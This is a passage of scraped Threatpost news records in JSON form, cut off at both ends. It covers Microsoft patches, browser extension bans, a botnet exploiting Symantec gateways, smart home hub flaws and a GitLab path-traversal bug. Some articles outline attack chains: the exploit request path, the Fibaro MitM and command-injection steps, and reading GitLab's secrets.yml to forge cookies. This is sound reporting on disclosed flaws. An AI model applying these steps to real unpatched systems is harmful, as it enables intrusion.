I put it on Facebook and someone posted, \u201cyou know [the NFL has] been hacked when the first person picked is Terry Bradshaw.\u201d All right. Well, on that note, it\u2019s been a very busy week in the infosec world, and there\u2019s much more that needs to be covered. So let\u2019s wrap up the podcast here, Tom and Tara, thanks for coming on today.\n\n**Tom:** Yeah, thank you.\n\n**Tara:** Thanks, Lindsey. You guys have a good weekend.\n\n**Lindsey:** You too. And to all our listeners. Thank you for joining us today. If you like what you\u2019ve heard here, be sure to share this episode on social media. And if you have any comments or thoughts regarding Apple zero days, or any of the new stories that we\u2019ve talked about today, please [reach out to us on Twitter at @Threatpost](<https://twitter.com/threatpost>) and let\u2019s keep the conversation going. If not catch us next week on the Threatpost podcast.\n\n_**Also, check out our [podcast microsite](<https://threatpost.com/microsite/threatpost-podcasts-going-beyond-the-headlines/>), where we go beyond the headlines on the latest news.**_\n", "cvss3": {}, "published": "2020-04-24T17:11:16", "type": "threatpost", "title": "News Wrap: Nintendo Account Hacks, Apple Zero Days, NFL Security", "bulletinFamily": "info", "cvss2": {}, "cvelist": ["CVE-2020-5135"], "modified": "2020-04-24T17:11:16", "id": "THREATPOST:CAAA6F4ECA9D8F91250F10C27A869E23", "href": "https://threatpost.com/news-wrap-nintendo-account-hacks-apple-zero-days-nfl-security/155122/", "cvss": {"score": 0.0, "vector": "NONE"}}, {"lastseen": "2020-10-15T22:15:01", "description": "Microsoft has released an out-of-band security update addressing two high-severity elevation-of-privilege (EoP) bugs. Both flaws exist in a service called Windows Remote Access, which provides remote-access capabilities to client applications on computers running Windows.\n\nOf note, both flaws were originally disclosed Aug. 11, during Microsoft\u2019s regularly scheduled Patch Tuesday updates, where the tech giant [patched 120 vulnerabilities overall.](<https://threatpost.com/0-days-active-attack-bugs-patched-microsoft/158280/>) During those updates, fixes for the two flaws were issued for Windows 10, Windows 7, Windows Server 2008, 2012, 2016, and 2019; as well as Windows Server (versions 1903, 1909 and 2004). Wednesday\u2019s unscheduled updates fix the vulnerabilities in Windows 8.1 and Windows Server 2012.\n\n\u201cMicrosoft is announcing the availability of security update 4578013 for all supported versions of Microsoft 8.1 and Windows Server 2012 R2,\u201d according to [Microsoft\u2019s Wednesday advisory.](<https://docs.microsoft.com/en-us/windows/release-information/windows-message-center#461>) \u201cCustomers running Windows 8.1 or Server 2012 R2 should install the update for their product to be protected from this vulnerability. Customers running other versions of Microsoft Windows or Windows Server do not need to take any action.\u201d\n\n[![](https://media.threatpost.com/wp-content/uploads/sites/103/2019/02/19151457/subscribe2.jpg)](<https://threatpost.com/newsletter-sign/>)\n\nThe first vulnerability ([CVE-2020-1530](<https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-1530>)) stems from Windows Remote Access improperly handling memory. To exploit this vulnerability, an attacker would first need the ability to execute code on a target\u2019s system. An attacker could then run a specially crafted application to elevate privileges.\n\nThe flaw has a CVSS score of 7.8 out of 10, making it \u201cimportant\u201d in severity. However, it has not been observed in the wild being exploited, and Microsoft said that exploitation of the bug is \u201cless likely\u201d due to attackers needing to first be able to execute code to launch the attack. Symeon Paraschoudis of Pen Test Partners was credited with discovering the flaw.\n\n\u201cThe security update addresses the vulnerability by correcting how Windows Remote Access handles memory,\u201d according to Microsoft.\n\nThe second EoP flaw ([CVE-2020-1537](<https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-1537>)), reported anonymously, stems from the Windows Remote Access service improperly handling file operations.\n\n\u201cTo exploit the vulnerability, an attacker would first need code execution on a victim system,\u201d according to Microsoft. \u201cAn attacker could then run a specially crafted application.\u201d\n\nAn attacker who successfully exploited this flaw could gain elevated privileges.The security update addresses the vulnerability by ensuring the Windows Remote Access properly handles file operations. This flaw also had a CVSS score of 7.8 out of 10 making it \u201cimportant\u201d severity, but has not been exploited.\n\nThe fixes come a week after Microsoft issued patches for two flaws under active attack as part of [its Patch Tuesday updates](<https://threatpost.com/0-days-active-attack-bugs-patched-microsoft/158280/>): One of the flaws ([CVE-2020-1464](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2020-1464>)), a Windows-spoofing bug tied to the validation of file signatures, allows an adversary to \u201cbypass security features intended to prevent improperly signed files from being loaded.\u201d The second ([CVE-2020-1380)](<https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-1380>), a remote code-execution bug, is tied to the Internet Explorer web browser. A successful hack gives the attacker same user rights as the current user, the company wrote.\n\n_It\u2019s the age of remote working, and businesses are facing new and bigger cyber-risks \u2013 whether it\u2019s collaboration platforms in the crosshairs, evolving insider threats or issues with locking down a much broader footprint. Find out how to address these new cybersecurity realities with our complimentary _[_Threatpost eBook_](<https://threatpost.com/ebooks/2020-in-security-four-stories-from-the-new-threat-landscape/?utm_source=ART&utm_medium=articles&utm_campaign=fp_ebook>)**_, 2020 in Security: Four Stories from the New Threat Landscape_**_, presented in conjunction with Forcepoint. We redefine \u201csecure\u201d in a work-from-home world and offer compelling real-world best practices. _[_Click here to download our eBook now_](<https://threatpost.com/ebooks/2020-in-security-four-stories-from-the-new-threat-landscape/?utm_source=ART&utm_medium=articles&utm_campaign=fp_ebook>)_._\n", "cvss3": {}, "published": "2020-08-20T15:39:38", "type": "threatpost", "title": "Microsoft Out-of-Band Security Update Fixes Windows Remote Access Flaws", "bulletinFamily": "info", "cvss2": {}, "cvelist": ["CVE-2020-1380", "CVE-2020-1464", "CVE-2020-1530", "CVE-2020-1537", "CVE-2020-24400", "CVE-2020-24407"], "modified": "2020-08-20T15:39:38", "id": "THREATPOST:197A12EF32429D29CF6A84B11763834D", "href": "https://threatpost.com/microsoft-out-of-band-security-update-windows-remote-access-flaws/158511/", "cvss": {"score": 7.6, "vector": "AV:N/AC:H/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2020-10-15T22:25:35", "description": "UPDATE\n\nBoth the Google Chrome and Mozilla Firefox teams are cracking down on web browser extensions that steal user data and execute remote code, among other bad actions.\n\nBrowser extensions are add-ons that users can install to enhance their web surfing experience \u2013 they offer the ability to do everything from setting a special search wallpaper to displaying continuous weather data to language translation. This group also includes things such as ad blockers and security scanning.\n\n[![](https://media.threatpost.com/wp-content/uploads/sites/103/2019/02/19151457/subscribe2.jpg)](<https://threatpost.com/newsletter-sign/>)\n\nWhile extensions are useful, they can also introduce danger. In addition to [intentionally malicious](<https://threatpost.com/malicious-browser-add-guides-victims-phishing-sites-112912/77262/>) browser extensions that compromise users, legitimate offerings are also common targets for cybercriminals who [look to exploit vulnerabilities](<https://threatpost.com/cisco-webex-browser-bug/143285/>) in their code.\n\n## Google Bans Paid Extensions\n\nIn this case, Google said that after becoming aware of a widespread pattern of pernicious behavior on the part of a large number of Chrome extensions, it has disabled extensions that contain a monetary component \u2013 those that are paid for, offer in-browser transactions and those that offer subscription services. It\u2019s a temporary measure, according to the internet giant \u2013 but one that doesn\u2019t yet have a timeline for resolution.\n\n\u201cEarlier this month the Chrome Web Store team detected a significant increase in the number of fraudulent transactions involving paid Chrome extensions that aim to exploit users,\u201d it [said in a notice](<https://groups.google.com/a/chromium.org/forum/#!topic/chromium-extensions/EW0VuDjZSO4>), issued Friday. \u201cDue to the scale of this abuse, we have temporarily disabled publishing paid items. This is a temporary measure meant to stem this influx as we look for long-term solutions to address the broader pattern of abuse.\u201d\n\n[![Top 5 Paid Chrome Extensions \$All Now Banned\$](https://media.threatpost.com/wp-content/uploads/sites/103/2020/01/27133106/google-paid-extensions-300x90.png)](<https://media.threatpost.com/wp-content/uploads/sites/103/2020/01/27133106/google-paid-extensions.png>)\n\nClick to Enlarge: Top 5 Paid Chrome Extensions\n\nThe notice added, \u201cWe are working to resolve this as quickly as possible, but we do not have a resolution timeline at the moment. Apologies for the inconvenience.\u201d\n\nRejections will carry a \u201cSpam and Placement in the Store\u201d tag, the Google team told developers. Rejections can be appealed and will be reviewed, it noted.\n\nThe impact could be minimal. According to [data from Extension Monitor](<https://extensionmonitor.com/blog/breaking-down-the-chrome-web-store-part-1>) published mid-2019, there are about 188,000 extensions in the Chrome Web Store, out of which only about 9 percent (16,718) fall into the paid category. Paid add-ons also account for less than 2.6 percent of the more than 1 billion total extension installs logged in the research. The top five paid extensions make up about half (48.5 percent) of that number, with IE Tab dominating at 4.1 million installs (31.5 percent). About 35 percent of paid extensions (5,885) don\u2019t have any users at all.\n\n_**Updated 9:30 a.m. ET on Jan. 28: Threatpost has reached out to Google for clarification on whether existing paid extensions have been taken down, or if the policy applies only to updates and new submissions.**_\n\n## Mozilla Cleans House\n\nMozilla meanwhile has taken a more case-by-case tack, disabling 197 Firefox add-ons in total for a range of improper activity, as first [reported by ZDnet](<https://www.zdnet.com/article/mozilla-has-banned-nearly-200-malicious-firefox-add-ons-over-the-last-two-weeks/>). This includes remote code-execution and harvesting user data. The add-ons have not only been removed from the official Mozilla Add-on (AMO) portal, but have been disabled in the browsers of existing installs.\n\nThe disabled apps include a whopping 129 extensions from 2Ring, which offers extensions and add-ons that provide business-to-business functionality for unified communications and contact centers. It\u2019s a Cisco Preferred Partner, and it [says on its website](<https://www.2ring.com/products/>) that it has \u201ca roadmap aligned with Cisco\u2019s collaboration portfolio and with solutions that their system engineers can deploy repeatedly and support with ease.\u201d\n\nThreatpost reached out to 2Ring for comment. Meanwhile, \u201cI\u2019ve reviewed the add-ons and confirmed they are executing remote code,\u201d according to the bug tracker on the issue.\n\nThat\u2019s not to say the extensions were intentionally malicious. Mozilla\u2019s policy is that extensions that dynamically fetch code from elsewhere, legitimate or otherwise, are in violation of its [content security policy](<https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/Content_Security_Policy>).\n\nThe blocked extensions uncovered by ZDnet also include [six add-ons](<https://bugzilla.mozilla.org/show_bug.cgi?id=1609718>) deemed to be executing remote code, which were developed by Tamo Junto Caixa. [Tamo Junto](<https://aliancaempreendedora.org.br/tamojunto/faq/>) is a banking entity that offers Brazilian microentrepreneurs online courses, video classes, articles and management tools.\n\nOther browser extensions, like Rolimons Plus (an extension linked to the Roblox online multiplayer video game), [was blocked](<https://bugzilla.mozilla.org/show_bug.cgi?id=1608432>) for \u201ccollecting ancillary user data against our policies,\u201d while others (unnamed in the bug ticket) [were banned](<https://bugzilla.mozilla.org/show_bug.cgi?id=1610462>) for \u201cshowing malicious behavior on third-party websites.\u201d Still others, including [three unnamed add-ons](<https://bugzilla.mozilla.org/show_bug.cgi?id=1610456>), were determined to be \u201cfake premium products.\u201d\n\nAs with Google Chrome, Mozilla developers are able to appeal the bans.\n\nAt least one researcher said that the actions are likely the fruit of heightened concerns and regulations around privacy, including the California Consumer Privacy Act (CCPA).\n\n\u201cIn the [post-CCPA/GDPR world](<https://threatpost.com/californias-tough-new-privacy-law-and-its-biggest-challenges/151682/>), tech companies are paying greater attention to the risks that software poses to users,\u201d said Mike Bittner, associate director of Digital Security and Operations for The Media Trust, via email. \u201cMuch of the risks stem from having no control over what impact code will have on the security and privacy of user personal data. Until tech companies know who\u2019s running what code in the various components that make up extensions and other forms of software, the risk of fraud and theft will remain high, as will the risk of running afoul of these new privacy laws.\u201d\n", "cvss3": {}, "published": "2020-01-27T21:26:55", "type": "threatpost", "title": "Google, Mozilla Ban Hundreds of Browser Extensions in Chrome, Firefox", "bulletinFamily": "info", "cvss2": {}, "cvelist": ["CVE-2020-5135"], "modified": "2020-01-27T21:26:55", "id": "THREATPOST:6F4D076CD2B99D42353A5547FDBB288C", "href": "https://threatpost.com/google-mozilla-ban-browser-extensions-chrome-firefox/152257/", "cvss": {"score": 0.0, "vector": "NONE"}}, {"lastseen": "2020-10-14T22:25:06", "description": "Cyberattackers are targeting a post-authentication remote code-execution vulnerability in Symantec Secure Web Gateways as part of new Mirai and Hoaxcalls botnet attacks.\n\nHoaxcalls first emerged in late March, as a variant of the Gafgyt/Bashlite family; it\u2019s named after the domain used to host its malware, Hoaxcalls.pw. Two new Hoaxcalls samples [showed up on the scene](<https://threatpost.com/fast-moving-ddos-botnet-unpatched-zyxel-rce-bug/155059/>) in April, incorporating new commands from its command-and-control (C2) server. These included the ability to proxy traffic, download updates, maintain persistence across device restarts, prevent reboots and launch a larger number of distributed denial-of-service (DDoS) attacks.\n\nIt also incorporated a new exploit for infiltrating devices \u2013 an [unpatched vulnerability](<https://threatpost.com/flaws-zyxels-network-management-software/153554/>) impacting the ZyXEL Cloud CNM SecuManager that was disclosed in March. Now, researchers at Palo Alto Networks\u2019 Unit 42 division have observed that same version of the botnet exploiting a second unpatched bug, this time in Symantec Secure Web Gateway version 5.0.2.8, which is a product that became end-of-life (EOL) in 2015 and end-of-support-life (EOSL) in 2019.\n\n[![](https://media.threatpost.com/wp-content/uploads/sites/103/2019/02/19151457/subscribe2.jpg)](<https://threatpost.com/newsletter-sign/>)\n\nThe Symantec bug was [disclosed in March](<https://code610.blogspot.com/2020/03/postauth-rce-in-symantec-web-gateway.html>). Since it affects older versions of the gateway, it will remain unpatched.\n\n\u201cOn April 24, I observed samples of the same botnet incorporating an exploit targeting the EOL\u2019d Symantec Secure Web Gateway v5.0.2.8, with an HTTP request in the format: POST /spywall/timeConfig.php HTTP/1.1,\u201d said Unit 42 researcher Ruchna Nigam, in a [Thursday post](<https://unit42.paloaltonetworks.com/hoaxcalls-mirai-target-legacy-symantec-web-gateways/>). \u201cSome samples reach out to a URL for a public file upload service (plexle[.]us) where the post-exploitation payload is hosted. The URL contacted for the update serves a shell script that downloads and executes binaries from attacker-controlled URLs.\u201d\n\nMeanwhile, Nigam also saw a [Mirai variant](<https://threatpost.com/new-mirai-variant-mukashi-targets-zyxel-nas-devices/153982/>) campaign in May spreading using that same vulnerability; oddly, the malware itself lacks any DDoS capabilities, according to the researcher. As such, the binary seems to be a first-stage loader.\n\n\u201cSamples of this campaign surfaced early May, built on the Mirai source code, and are packed with a modified version of UPX by using a different 4-byte key with the UPX algorithm,\u201d according to Nigam. \u201cAnother deviation from the Mirai source-code is the use of all of ten 8-byte keys that are cumulatively used for a byte-wise string encryption scheme.\u201d\n\nThe vulnerability as mentioned is a post-authentication bug, meaning that the exploit is only effective for authenticated sessions. It\u2019s also no longer present in the latest version of the Symantec Web Gateway, version 5.2.8, so updated devices are protected.\n\nResearchers at Radware previously noted that Hoaxcalls operators seem very quick to weaponize newly discovered bugs, like the ZyXel vulnerability. Unit 42\u2019s Nigam came to a similar conclusion:\n\n\u201cThe use of the exploit in the wild surfaced only a few days after the publication of the vulnerability details, highlighting the fact that the authors of this particular botnet have been pretty active in testing the effectiveness of new exploits as and when they are made public,\u201d according to the researcher.\n\n**_Concerned about the IoT security challenges businesses face as more connected devices run our enterprises, drive our manufacturing lines, track and deliver healthcare to patients, and more? On [June 3 at 2 p.m. ET](<https://attendee.gotowebinar.com/register/1837650474090338831?source=ART>), join renowned security technologist Bruce Schneier, Armis CISO Curtis Simpson and Threatpost for a FREE webinar, [Taming the Unmanaged and IoT Device Tsunami](<https://attendee.gotowebinar.com/register/1837650474090338831?source=ART>). Get exclusive insights on how to manage this new and growing attack surface. [Please register here](<https://attendee.gotowebinar.com/register/1837650474090338831?source=ART>) for this sponsored webinar._**\n", "cvss3": {}, "published": "2020-05-15T20:41:24", "type": "threatpost", "title": "Hoaxcalls Botnet Exploits Symantec Secure Web Gateways", "bulletinFamily": "info", "cvss2": {}, "cvelist": ["CVE-2020-5135"], "modified": "2020-05-15T20:41:24", "id": "THREATPOST:6A1329627DFBA3501BA187A580E968D5", "href": "https://threatpost.com/hoaxcalls-botnet-symantec-secure-web-gateways/155806/", "cvss": {"score": 0.0, "vector": "NONE"}}, {"lastseen": "2020-10-14T22:26:19", "description": "Three different connected home hubs \u2013 Fibaro Home Center Lite, Homematic Central Control Unit (CCU2) and Elko\u2019s eLAN-RF-003 \u2013 are vulnerable in their older versions to serious bugs that would allow information disclosure, man-in-the-middle (MiTM) attacks and unauthenticated remote code execution (RCE), according to researchers.\n\nHome hubs are used to connect a range of smart devices (including appliances, IP cameras, smart thermostat and doorbell gadgets, connected TVs, Google Home and Amazon Alexa offerings, plus laptops, phones and the like). Researchers at ESET pointed out in [Tuesday research](<https://www.welivesecurity.com/2020/04/22/serious-flaws-smart-home-hubs-is-your-device-among-them/>) that an attacker that compromises one of these could in theory gain full access to all of the peripheral devices connected to it \u2013 a scenario that could also impact businesses given that more people are working from home.\n\n[![](https://media.threatpost.com/wp-content/uploads/sites/103/2020/04/16215737/Divycloud_225x188.jpg)](<https://attendee.gotowebinar.com/register/4136632530104301068?source=art>)\n\nThe flaws were disclosed by ESET just this week, though most of them were fixed in previous updates. They still impact a number of IoT devices, the analyst firm said \u2013 likely because consumers don\u2019t tend to update their device firmware very often, if at all; and, a handful of the flaws remain unaddressed.\n\n**Fibaro Home Center Lite**\n\nFibaro Home Center Lite (firmware version 4.170) was found by the ESET IoT research team to be vulnerable to a range of bugs. The problems included TLS connections that were vulnerable to MitM attacks thanks to a missing certificate validation \u2013 which would open the door to command injection; the use of very short, hardcoded password stored in the file /etc/shadow in the device\u2019s firmware, ripe for brute-forcing; the use of a hardcoded password salt; and a vulnerable weather service API that leaked the exact GPS coordinates of the device due to the use of unencrypted HTTP communications.\n\nSome of these could be chained together to create an SSH backdoor for full control of a targeted device.\n\nFor instance, ESET researchers were able to create their own MiTM server, thanks to the fact that the Fibaro Home Center Lite communicates with its cloud server via a standard SSH tunnel, but it fails to validate the certificate for TLS communications with the server.\n\n\u201cFibaro Home Center Lite sends two separate TLS-encrypted requests asking for the SSH server\u2019s hostname and listening port,\u201d the researchers explained. \u201cBased on the information returned, Fibaro Home Center Lite creates a secured connection via an SSH tunnel to the specified SSH server.\u201d\n\nBecause of the failure to perform certificate verification on the TLS requests, any attacker can use fake certificates signed by their proxy server to accept the public key of the targeted device and mimic the original Fibaro server.\n\n\u201cTo make matters worse, intercepted TLS requests \u2013 intended to create the SSH tunnel between the device and the legitimate server \u2013 are vulnerable to command injection,\u201d according to the research. \u201cBy using the MitM server, attackers can replace the address of the original server lb-1.eu.ra.fibaro.com with whatever they wish.\u201d\n\nFor example, the attacker can generate a malicious response with a command injection that causes the device\u2019s initialization shell script to fail. That prompts the device to request the server\u2019s IP address once again \u2013 a request that can now be intercepted by the attacker and replaced with a different tunnel.\n\n\u201cAnother tunnel is created, through which the attacker\u2019s SSH backdoor port is forwarded,\u201d according to the analysis. \u201cThis reroutes the communication from both ports (SSH 666, HTTP 80) to the attacker\u2019s MitM server. From this point on, the attacker has root access to Fibaro Home Center Lite.\u201d\n\nFrom there, attackers can intercept firmware updates and uncover the hardcoded root password, valid for all Fibaro Home Center Lite devices \u2013 can be \u201ctrivially brute-forced,\u201d according to the security firm.\n\nAttackers can also manipulate user credentials for the device\u2019s web interface, stored in an SQLite database on Fibaro Home Center Lite.\n\n\u201cThese passwords are stored SHA-1 hashed, created from the supplied password salted with a hardcoded string that can easily be extracted from a script in the firmware image file,\u201d the analysis detailed. \u201cUsing the salt, an attacker can rewrite existing credentials in the appropriate row of the Home Center Lite\u2019s SQLite database located at /mnt/user_data/db, rendering the legitimate password invalid.\u201d\n\nFibaro issued patches for the issues, so that the home hubs now verify server certificates and disallow command injections; and the hardcoded root password has been replaced with a \u201clonger and more secure alternative,\u201d according to ESET.\n\nThe hardcoded salt string used to create the SHA-1 hash of the password is however a lingering issue.\n\n**Homematic Central Control Unit (CCU2)**\n\nThe Homematic CCU2 (firmware version 2.31.25) harbors a bug that would allow unauthenticated remote code execution (RCE) as a root user.\n\nThe issue arises from a common gateway interface (CGI) script that handles the logout procedure of the Homematic CCU2\u2019s web-based administration interface.\n\n\u201cThe $sid (session ID) parameter was not properly escaped, enabling an attacker to inject malicious code and run arbitrary shell commands as the root (administrator) user,\u201d according to the research. \u201cAs the logout script did not check that it is processing a request from a currently logged-in session, an unlimited number of these requests could be made by an attacker without ever having to log into the device.\u201d\n\nUsing this, an attacker could set a new root password.\n\nThe issue has been patched.\n\n**Elko\u2019s eLAN-RF-003**\n\nThe eLAN-RF-003 (firmware version 2.9.079) is a smart RF box that allows user to control a variety of systems such as lighting, hot-water temperature, heating, smart locks, shutters, blinds, fans, power outlets and more via an application installed on a smartphone.\n\nESET uncovered critical vulnerabilities in the hub, including the use of unencrypted HTTP protocol for the box\u2019s web GUI communication; essentially, all user communications \u2013 including sensitive data such as usernames and passwords \u2013 was sent over the network without encryption or any other form of protection, allowing any attacker to intercept the information in the clear.\n\nAlso at issue: Inadequate authentication, allowing all commands to be executed without requesting a login; a lack of session cookies, thus lacking any mechanism that could verify that the user was correctly logged in; and, peripheral devices connected to the smart RF box were vulnerable to record and replay attacks.\n\n\u201cUnauthenticated access to the web interface is a severe issue, as it gives anyone with access to the local network the ability to take control over the smart RF box and subsequently all the devices connected to it,\u201d according to the analysis. \u201cThis is especially worrying due to possible combination with other vulnerabilities that allow the attacker to gain a foothold in the local Wi-Fi network.\u201d\n\nAttackers would be able to extract information about peripheral devices, floor plans, errors, attributes of the managed smart home, the device\u2019s firmware version, and so on, ESET noted.\n\nUnfortunately, two of reported vulnerabilities (the unencrypted web interface communication and insecure radio frequency (RF) communication) appear to have remained unpatched, while only partial patches were issue for the others, ESET said. That said, the researchers haven\u2019t probed the latest generation of the device.\n\nThreatpost has reached out to the vendors for further comment.\n\n\u201cMost of the flaws disclosed by ESET have been fixed by the vendors of these particular devices,\u201d the researchers concluded. \u201cHowever, some of the issues appear to have been left unresolved, at least on older generations of devices. Even if newer, more secure generations are available, though, the older ones are still in operation\u2026.[security vulnerabilities in IoT devices](<https://threatpost.com/half-iot-devices-vulnerable-severe-attacks/153609/>) are a prevalent issue.\u201d\n\n**_Worried about your cloud security in the work-from-home era? On _****_April 23 at 2 p.m. ET_****_, join DivvyCloud and Threatpost for a FREE webinar, _**[**_A Practical Guide to Securing the Cloud in the Face of Crisis_**](<https://attendee.gotowebinar.com/register/4136632530104301068?source=art>)**_. Get exclusive research insights and critical, advanced takeaways on how to avoid cloud disruption and chaos in the face of COVID-19 \u2013 and during all times of crisis. _**[**_Please register here_**](<https://attendee.gotowebinar.com/register/4136632530104301068?source=art>)_** for this sponsored webinar.**_\n", "cvss3": {}, "published": "2020-04-22T18:28:23", "type": "threatpost", "title": "Connected Home Hubs Open Houses to Full Remote Takeover", "bulletinFamily": "info", "cvss2": {}, "cvelist": ["CVE-2020-5135"], "modified": "2020-04-22T18:28:23", "id": "THREATPOST:FB79AC722601BBB92388FFC66EE0EAF4", "href": "https://threatpost.com/connected-home-hubs-full-remote-takeover/155037/", "cvss": {"score": 0.0, "vector": "NONE"}}, {"lastseen": "2020-10-15T22:28:43", "description": "Mozilla is bumping up its bug bounty payouts and has added new websites and services \u2013 including the recently deployed [Firefox Monitor](<https://threatpost.com/mozilla-announces-firefox-monitor-tool-testing-firefox-61/133087/>)\u2013 to its bug bounty program in hopes of attracting more researchers to sniff out vulnerabilities.\n\nThe browser-maker is doubling bug bounty payouts for most of its in-scope sites and services, as well as tripling payouts for the highest bug classification in its program, remote code execution vulnerabilities. Researchers can now [bring in $15,000](<https://www.mozilla.org/en-US/security/web-bug-bounty/>) for RCE flaws on \u201ccritical websites\u201d (sites and services considered critical to Mozilla operations, which pay out at the highest bounty rate) and $5,000 for \u201ccore websites\u201d (which pay out bounties, but at a reduced rate).\n\n\u201cMozilla was one of the first companies to establish a bug bounty program and we continually adjust it so that it stays as relevant now as it always has been,\u201d said Simon Bennetts with Mozilla [in a Tuesday announcement](<https://blog.mozilla.org/security/2019/11/19/updates-to-the-mozilla-web-security-bounty-program/>). \u201cTo celebrate the 15 years of the 1.0 release of Firefox, we are making significant enhancements to the web bug bounty program.\u201d\n\n[![](https://media.threatpost.com/wp-content/uploads/sites/103/2019/02/19151457/subscribe2.jpg)](<https://threatpost.com/newsletter-sign/>)\n\nIn addition, Mozilla announced that over the past six months, it has added new in-scope \u201ccritical websites\u201d and services for its program. This includes:\n\n * [Autograph](<https://github.com/mozilla-services/autograph>) \u2013 a cryptographic signature service that signs Mozilla products.\n * [Lando](<https://moz-conduit.readthedocs.io/en/latest/lando-user.html>) \u2013 Mozilla\u2019s automatic code-landing service which allows users to commit Phabricator revisions to their destination repository.\n * [Phabricator](<https://wiki.mozilla.org/Phabricator>) \u2013 a code management tool used for reviewing Firefox code changes.\n * [Taskcluster](<https://docs.taskcluster.net/docs>) the task execution framework that supports Mozilla\u2019s continuous integration and release processes.\n\nMozilla has also offered new Core sites to its program \u2013 including Firefox Monitor, a site where users can register their email address so that they can be informed if their account details are part of a data breach. Firefox Monitor, which made waves after it was announced in 2018 on the heels of Mozilla\u2019s partnership with Cloudflare and Have I Been Pwned (HIBP), went into [testing earlier this year](<https://threatpost.com/mozilla-announces-firefox-monitor-tool-testing-firefox-61/133087/>) and has since been released.\n\nOther added \u201ccore\u201d websites that are now in-scope include:\n\n * [Localization](<https://mozilla-l10n.github.io/localizer-documentation/>) \u2013 a service contributors can use to help localize Mozilla products.\n * [Payment Subscription](<https://github.com/mozilla/subhub>) \u2013 a service that is used as the interface in front of the payment provide (Stripe).\n * [Firefox Private Network](<https://private-network.firefox.com/>) \u2013 a site from which users can download a desktop extension that helps secure and protect connections everywhere Firefox is used.\n * [Ship It](<https://wiki.mozilla.org/ReleaseEngineering/Applications/Ship_It>) \u2013 a system that accepts requests for releases from humans and translates them into information and requests that Mozilla\u2019s Buildbot-based release automation can process.\n * [Speak To Me](<https://github.com/mozilla/speech-proxy>) \u2013 Mozilla\u2019s Speech Recognition API.\n\nMozilla has continually increased rewards for bug bounty vulnerabilities over the years \u2013 the last time [being in 2015](<https://threatpost.com/mozilla-bug-bounty-payouts-going-up/113264/>). Mozilla started its [web bounty program](<https://threatpost.com/behind-numbers-mozillas-bug-bounty-program-092811/75701/>) in December 2010 and offered rewards of up to $3,000 for certain kinds of vulnerabilities reported in those sites.\n\n_**Is MFA enough to protect modern enterprises in the peak era of data breaches? How can you truly secure consumer accounts? Prevent account takeover? Find out: Catch our free, on-demand **_[_**Threatpost webinar**_](<https://attendee.gotowebinar.com/register/3127445778613605890?source=post>)_**, \u201cTrends in Fortune 1000 Breach Exposure\u201d to hear advice from breach expert Chip Witt of SpyCloud. **_[_**Click here to register**_](<https://attendee.gotowebinar.com/register/3127445778613605890?source=post>)_**.**_\n\n**Share this article:**\n\n * [Editor's Picks](<https://threatpost.com/category/editors-picks/>)\n * [Web Security](<https://threatpost.com/category/web-security/>)\n", "cvss3": {}, "published": "2019-11-20T21:04:32", "type": "threatpost", "title": "Mozilla Bug Bounty Program Doubles Payouts, Adds Firefox Monitor", "bulletinFamily": "info", "cvss2": {}, "cvelist": ["CVE-2020-5135"], "modified": "2019-11-20T21:04:32", "id": "THREATPOST:BED35CFCFED307909DB60602551982A6", "href": "https://threatpost.com/mozilla-bug-bounty-program-doubles-payouts-adds-firefox-monitor/150489/", "cvss": {"score": 0.0, "vector": "NONE"}}, {"lastseen": "2020-10-14T22:25:55", "description": "A critical GitLab vulnerability, which could be leveraged by a remote attacker to execute code, recently netted a researcher a $20,000 bug-bounty award.\n\nThe flaw was reported to GitLab by software developer [William Bowling](<https://twitter.com/wcbowling>) via the [HackerOne bug bounty platform](<https://hackerone.com/reports/827052>) on March 23. It was then disclosed this week after being patched in GitLab version 12.9.1.\n\nAt issue is a path-traversal flaw in GitLab, which started out as a web-based Git repository manager but has moved into the DevOps lifecycle-management space. A path traversal is a web security flaw that allows an attacker to read arbitrary files on the server that is running an application. For this particular flaw, the ability to read arbitrary files on the server would give attackers access to tokens, private data, configs and more.\n\n[![](https://media.threatpost.com/wp-content/uploads/sites/103/2019/02/19151457/subscribe2.jpg)](<https://threatpost.com/newsletter-sign/>)\n\nSpecifically the flaw exists in the UploadsRewriter function of GitLab, which is used to duplicate files. The UploadsRewriter does not validate the file name and path, allowing arbitrary files to be copied without restriction when moving issues to a new project.\n\n\u201cAs there is no restriction on what file can be, path traversal can be used to copy any file,\u201d said Bowling in his bug-bounty report. \u201cThe file or path should be validated before copying files.\u201d\n\nBowling then took the flaw a step further, showcasing how it could be leveraged to launch a remote code-execution attack. Once the arbitrary file read flaw is exploited, he said, it can be used to grab the secret_key_base from the /opt/gitlab/embedded/service/gitlab-rails/config/secrets.yml service.\n\nThe secret_key_base is used to derive keys that are used to generate and verify encrypted or signed cookies. Once attackers access the secret_key_base, they could manipulate these cookie services to send cookies to the server to execute code.\n\nGitLab verified the finding and escalated the issue to its engineering team, granting Bowling an initial $1,000 triage payment for his findings before ultimately granting the $20,000.\n\nGitLab in December [announced it had awarded a total of $565,650](<https://threatpost.com/gitlab-doles-out-half-a-million-bucks-to-white-hats/151138/>) in security bug bounties to 171 researchers who reported valid vulnerabilities in the past year. GitLab launched its [bug-bounty program](<https://hackerone.com/gitlab>) in 2018, and according to Juan Broullon, senior application security engineer at the company, it received a total of 1,378 reports from 513 white-hat hackers in that time.\n\n**_Inbox security is your best defense against today\u2019s fastest growing security threat \u2013 phishing and Business Email Compromise attacks. [On May 13 at 2 p.m. ET](<https://register.gotowebinar.com/register/5064791868226032141?source=ART>), join Valimail security experts and Threatpost for a FREE webinar, [5 Proven Strategies to Prevent Email Compromise](<https://register.gotowebinar.com/register/5064791868226032141?source=ART>). Get exclusive insights and advanced takeaways on how to lockdown your inbox to fend off the latest phishing and BEC assaults. Please [register here ](<https://register.gotowebinar.com/register/5064791868226032141?source=ART>)for this sponsored webinar._**\n\n_**Also, don\u2019t miss our latest on-demand webinar from DivvyCloud and Threatpost, **_[_**A Practical Guide to Securing the Cloud in the Face of Crisis**_](<https://attendee.gotowebinar.com/register/4136632530104301068?source=art>)_**, with critical, advanced takeaways on how to avoid cloud disruption and chaos.**_\n", "cvss3": {}, "published": "2020-04-29T16:39:56", "type": "threatpost", "title": "Critical GitLab Flaw Earns Bounty Hunter $20K", "bulletinFamily": "info", "cvss2": {}, 